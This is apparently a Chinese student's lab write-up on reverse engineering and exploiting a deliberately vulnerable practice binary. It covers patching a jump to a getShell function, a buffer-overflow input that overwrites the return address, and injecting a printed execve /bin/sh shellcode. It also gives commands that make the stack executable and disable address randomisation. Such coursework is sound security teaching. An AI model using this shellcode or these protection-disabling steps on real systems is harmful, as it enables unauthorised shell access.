• 网络对抗技术 2017-2018-2 20152515 Exp1 PC平台逆向破解(5)M


    Exp1 PC平台逆向破解(5)M


    1 知识要求
    2 直接修改程序机器指令,改变程序执行流程
    3 通过构造输入参数,造成BOF攻击,改变程序执行流
    4 注入Shellcode并执行


    1 知识要求

    • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
      - NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
      - JNE:条件转移指令,如果不相等则跳转。(机器码:75)
      - JE:条件转移指令,如果相等则跳转。(机器码:74)
      - JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
      - CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    • 掌握反汇编与十六进制编程器


    2 直接修改程序机器指令,改变程序执行流程

    • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
    • 学习目标:理解可执行文件与机器指令
    • 进阶:掌握ELF文件格式,掌握动态技术

    实践目标

    手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    实践步骤

    • 首先让我们对pwn文件进行一个反汇编,可以看到文件中的是跳转到foo函数

    • 让我们把文件转换成十六进制看一下

    • 找到 d7 的位置

    • d7 修改为 c3c3 是根据

    • 将十六进制转换为原格式并保存

    • 运行pwn文件

    实践中遇到的问题

    • 显示“不是可执行文件”
    • 显示“找不到该文件”
    • 解决:

    3 通过构造输入参数,造成BOF攻击,改变程序执行流

    实践步骤

    • 反汇编,了解程序的基本功能

    • 确认输入字符串哪几个字符会覆盖到返回地址

    • 确认用什么值来覆盖返回地址

          -  ```11111111222222223333333344444444x7dx84x04x08```
      
    • 构造输入字符串

    • 运行结果


    4 注入Shellcode并执行

    • 准备一段Shellcode

      • shellcode就是一段机器指令(code)
        • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
        • 所以这段机器指令被称为shellcode。
        • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
    • 准备工作

    root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行,(shellcode需要在堆栈中执行)
    root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
    X pwn1
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    2
    root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,这样可以方便找到shellcode的地址
    
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    0
    
    

    • 以下实践使用的shellcode如下:
    x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
    
    • 我们需要找到返回地址的值,

    • 成功,结果如下:

    实践中遇到的问题:

    • 显示“没有execstack指令”
    • 解决:需要先apt-get install execstack 安装execstack
    • 显示“段错误”
    • 解决:

    参考资料

  • 相关阅读:
    [LintCode] Set Matrix Zeros
    [LintCode] Identify Celebrity
    [LintCode] Edit Distance
    [LintCode] Edit Distance II
    [LintCode] Strings Serialization
    二十七. Keepalived热备 Keepalived+LVS 、 HAProxy服务器
    二十六. 集群及LVS简介 LVS-NAT集群 LVS-DR集群
    二十五 存储技术与应用 iSCSI技术应用 、 udev配置 NFS网络文件系统 、 Multipath多路径 、 NFS网络文件系统 、 udev配置
    二十三.Subversion基本操作、使用Subversion协同工作、制作nginx的RPM包
    二十二. 安装部署Tomcat服务器、使用Tomcat部署虚拟主机、使用Varnish加速Web
  • 原文地址:https://www.cnblogs.com/xuanyan/p/8531576.html
Copyright © 2020-2023  润新知